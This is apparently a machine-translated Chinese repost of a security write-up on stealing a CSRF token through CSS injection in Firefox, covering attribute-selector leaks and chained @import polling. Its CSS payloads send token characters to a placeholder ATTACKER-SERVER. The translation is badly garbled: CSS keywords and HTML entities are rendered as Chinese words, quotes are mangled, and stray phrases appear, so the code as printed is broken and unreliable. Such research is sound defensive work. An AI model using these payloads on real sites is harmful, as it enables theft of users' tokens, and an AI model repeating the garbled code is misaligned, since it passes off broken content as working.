这篇文章主要介绍了在Firefox浏览器中如何利用CSS窃取数据,具有一定借鉴价值,感兴趣的朋友可以参考下,希望大家阅读完这篇文章之后大有收获、下面让小编带着大家一起了解一下。
0 x00前言
几个月之前,我在Firefox中找到了一个漏洞(cve - 2019 - 17016)。在研究过程中,我发现了在Firefox浏览器中利用CSS的一种数据窃取技术,可以通过单个注入点窃取数据,这里我想与大家一起分享相关研究成果。
0 x01背景知识
为了演示方便,这里假设我们想窃取<代码> & lt; input> 代码>元素中的CSRF令牌。
& lt; input 类型=癶idden", name=癱srftoken", value=https://www.yisu.com/zixun/" SOME_VALUE ">
我们无法使用脚本(可能是因为CSP),因此想寻找基于样式的注入方法。传统方法是使用属性选择器,如下所示:
输入[name=& # 39; csrftoken& # 39;][值^=& # 39;一个# 39;],{ 背景:才能,url (//ATTACKER-SERVER/泄漏/); } 输入[name=& # 39; csrftoken& # 39;][值^=& # 39;b # 39;], { 背景:才能,url (//ATTACKER-SERVER/泄漏/b); } … 输入[name=& # 39; csrftoken& # 39;][值^=& # 39;z # 39;], { 背景:才能,url (//ATTACKER-SERVER/泄漏/z); }
如果应用了CSS规则,那么攻击者就能收到HTTP请求,从而获取到令牌的第1个字符。随后,攻击者需要准备另一个样式表,其中包含已窃取的第1个字符,如下所示:
输入[name=& # 39; csrftoken& # 39;][值^=& # 39;aa # 39;], { 背景:才能,url (//ATTACKER-SERVER/泄漏/aa); } 输入[name=& # 39; csrftoken& # 39;][值^=& # 39;ab # 39;], { 背景:才能,url (//ATTACKER-SERVER/泄漏/ab); } … 输入[name=& # 39; csrftoken& # 39;][值^=& # 39;az # 39;], { 背景:才能,url (//ATTACKER-SERVER/泄漏/az); }
通常情况下,攻击者需要重新加载<代码> & lt; iframe> 代码中已加载的页面,以便提供后续样式表。
在2018年,佩佩维拉提出了一个非常不错的想法,可以在Chrome浏览器中滥用CSS递归进口方式,通过单个注入点完成相同任务。在2019年,Nathanial Lattimer (@d0nutptr)重新提出了相同技巧,但稍微做了点改动。下面我稍微总结一下Lattimer的方法,这种方法与本文的思想比较接近(但我在此次研究过程中并不了解Lattimer之前的成果,因此可能有人会认为我在重复造轮子)。
简而言之,第一次注入用到了一堆进口代码>:<代码>
@import url (//ATTACKER-SERVER/轮询? len=0); @import url (//ATTACKER-SERVER/轮询? len=1); @import url (//ATTACKER-SERVER/轮询? len=2); …
核心思想如下:
1,在一开始,只有第1个<代码> @ import> 代码会返回样式表,其他语句处于连接阻塞状态。
2,第1个<代码> @ import> 代码返回样式表,泄露令牌的第1个字符。
3,当泄露的第1个令牌到达<代码> ATTACKER-SERVER> 代码,第2个进口<代码> 代码>停止阻塞,返回包含第1个字符的样式表,尝试泄露第2个字符。
4,当第2个泄露字符到达<代码> ATTACKER-SERVER> 代码时,第3个<代码> 代码>进口停止阻塞,白马王子,白马王子以此类推。
这种技术之所以行之有效,是因为Chrome会采用异步方式处理<代码> 代码>进口,因此当任何<代码> 代码>进口停止阻塞时,Chrome会立即解析该语句并应用规则。
0 x02 Firefox及样式表处理
前面提到的方法并不适用于Firefox、Chrome与浏览器相比,Firefox对样式表的处理方式大不相同。这里我以几个案例来说明其中差异。
首先,火狐会采用同步方式处理样式表,因此,当样式表中有多个<代码> 代码>进口时,只有当所有<代码> 代码>都进口处理完毕时,Firefox才会应用CSS规则。考虑如下案例:
& lt; style> @import & # 39;/调查/0 & # 39;; @import & # 39;/调查/1 & # 39;; @import & # 39;/调查/2 & # 39;; & lt;/style>
假设第1个<代码> @ import> 代码返回CSS规则,将页面背景设置为蓝色,后续的<代码> 代码>进口处于阻塞状态(比如永远不会返回任何内容,会挂起HTTP连接)。在Chrome浏览器中,页面会立即变为蓝色,而在Firefox中并不会有任何反应。
我们可以将所有<代码> 代码>放进口在独立的<代码> & lt; style> 代码>元素中,从而解决该问题:
& lt; style> @import & # 39;/调查/0 & # 39;;& lt;/style> & lt; style> @import & # 39;/调查/1 & # 39;;& lt;/style> & lt; style> @import & # 39;/调查/2 & # 39;;& lt;/style>在Firefox浏览器中如何利用CSS窃取数据